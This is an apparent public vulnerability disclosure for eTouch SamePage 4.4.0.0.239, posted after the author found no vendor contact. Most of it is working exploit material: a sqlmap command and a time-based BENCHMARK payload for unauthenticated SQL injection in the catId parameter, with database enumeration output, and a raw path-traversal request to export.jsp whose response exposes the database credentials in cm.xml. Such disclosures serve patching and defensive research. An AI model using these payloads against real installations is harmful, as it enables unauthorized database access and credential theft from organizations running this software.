eTouch Samepage 4.4.0.0.239 SQL Injection / File Read

`Couldn’t find anyone to contact regarding this, so dropping it.  
  
eTouch SamePage v4.4.0.0.239 multiple vulnerabilities  
  
  
http://www.etouch.net/products/samepage/index.html  
  
Enterprise trial was installed in an Ubuntu virtual machine with MySQL. By default, the listening port is 18080.  
  
Required on the Ubuntu machine to install the SamePage binary successfully:  
sudo apt-get install libstdc++6:i386 libc6:i386 libXext6:i386 mysql-server  
  
Trial available here:  
http://support.etouch.net/cm/wiki/?id=8889  
  
———  
  
Unauthenticated time-based SQL injection in /cm/blogrss/feed servlet  
  
The following URL is vulnerable to a time-based SQL injection in the catId parameter:  
  
http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600  
  
Exploitation with sqlmap:  
  
Brandons-iMac:sqlmap bperry$ ./sqlmap.py -u "http://192.168.1.25:18080/cm/blogrss/feed?entity=mostviewedpost&analyticsType=blog&catId=-1&count=10&et_cw=850&et_ch=600" --dbms=mysql -p catId --level=5 --risk=3 -o --technique=t --time-sec=10 --dbs  
_  
___ ___| |_____ ___ ___ {1.0-dev-fd632e5}  
|_ -| . | | | .'| . |  
|___|_ |_|_|_|_|__,| _|  
|_| |_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[*] starting at 19:08:19  
  
[19:08:19] [INFO] testing connection to the target URL  
[19:08:19] [INFO] heuristics detected web page charset 'ascii'  
[19:08:19] [INFO] testing NULL connection to the target URL  
[19:08:19] [INFO] NULL connection is supported with HEAD header  
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:  
---  
Parameter: catId (GET)  
Type: AND/OR time-based blind  
Title: MySQL < 5.0.12 AND time-based blind (heavy query)  
Payload: entity=mostviewedpost&analyticsType=blog&catId=-1) AND 6412=BENCHMARK(10000000,MD5(0x73764b7a)) AND (3198=3198&count=10&et_cw=850&et_ch=600  
---  
[19:08:19] [INFO] testing MySQL  
[19:08:19] [INFO] confirming MySQL  
[19:08:19] [INFO] the back-end DBMS is MySQL  
web application technology: JSP  
back-end DBMS: MySQL >= 5.0.0  
[19:08:19] [INFO] fetching database names  
[19:08:19] [INFO] fetching number of databases  
[19:08:19] [INFO] resumed: 4  
[19:08:19] [INFO] resumed: information_schema  
[19:08:19] [INFO] resumed: mysql  
[19:08:19] [INFO] resumed: performance_schema  
[19:08:19] [INFO] resumed: samepage  
available databases [4]:  
[*] information_schema  
[*] mysql  
[*] performance_schema  
[*] samepage  
  
[19:08:19] [INFO] fetched data logged to text files under '/Users/bperry/.sqlmap/output/192.168.1.25'  
  
[*] shutting down at 19:08:19  
  
Brandons-iMac:sqlmap bperry$  
  
  
———  
Authenticated arbitrary file read via /cm/newui/blog/export.jsp  
  
The following authenticated GET request will read the cm.xml file from the web server installation directory, which contains the database credentials. While authentication is required, by default, creating a user using the user sign-up page is simple.  
  
  
Request:  
  
GET /cm/newui/blog/export.jsp?filepath=../conf/Catalina/localhost/cm.xml&start=true&et_cw=350&et_ch=100 HTTP/1.1  
Host: 192.168.1.22:8080  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:26.0) Gecko/20100101 Firefox/26.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.22:8080/cm/newui/blog/export.jsp?pkey=64616d73657373696f6e696468616c6c61626f6c6c613b313432323331333135393433341422313179983&blogalias=fdsaffd&blogdesc=fdsafdsafdsa&starttime=1422313179983&start=true  
Cookie: JSESSIONID=8D2B23DCF68ACD2623B390942E71F2E5; c_wiki_browser=1  
Connection: keep-alive  
  
  
  
  
Response:  
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Content-Disposition: attachment; filename=cm.xml  
Content-Type: application/zip  
Content-Length: 864  
Date: Tue, 27 Jan 2015 00:42:53 GMT  
  
<Context path="/cm" docBase="../../cm" debug="0" reloadable="false" crossContext="true" autodeploy="true">  
<Resource name="CMPOOL" auth="Container" type="com.atomikos.jdbc.nonxa.NonXADataSourceBean"   
factory="org.apache.naming.factory.BeanFactory"  
uniqueResourceName="CMPOOL"  
driverClassName="com.mysql.jdbc.Driver"  
user="root"  
password="password"  
poolSize="10"  
validatingQuery ="SELECT 1"   
url="jdbc:mysql://localhost:3306/samepage" />  
<Transaction factory="com.atomikos.icatch.jta.UserTransactionFactory" />  
<Resource name="UserTransaction" auth="Container" type="javax.transaction.UserTransaction"  
factory="com.atomikos.icatch.jta.UserTransactionFactory" />  
<Resource name="TransactionManager" auth="Container" type="com.atomikos.icatch.jta.UserTransactionManager"  
factory="org.apache.naming.factory.BeanFactory" />   
</Context>  
  
  
`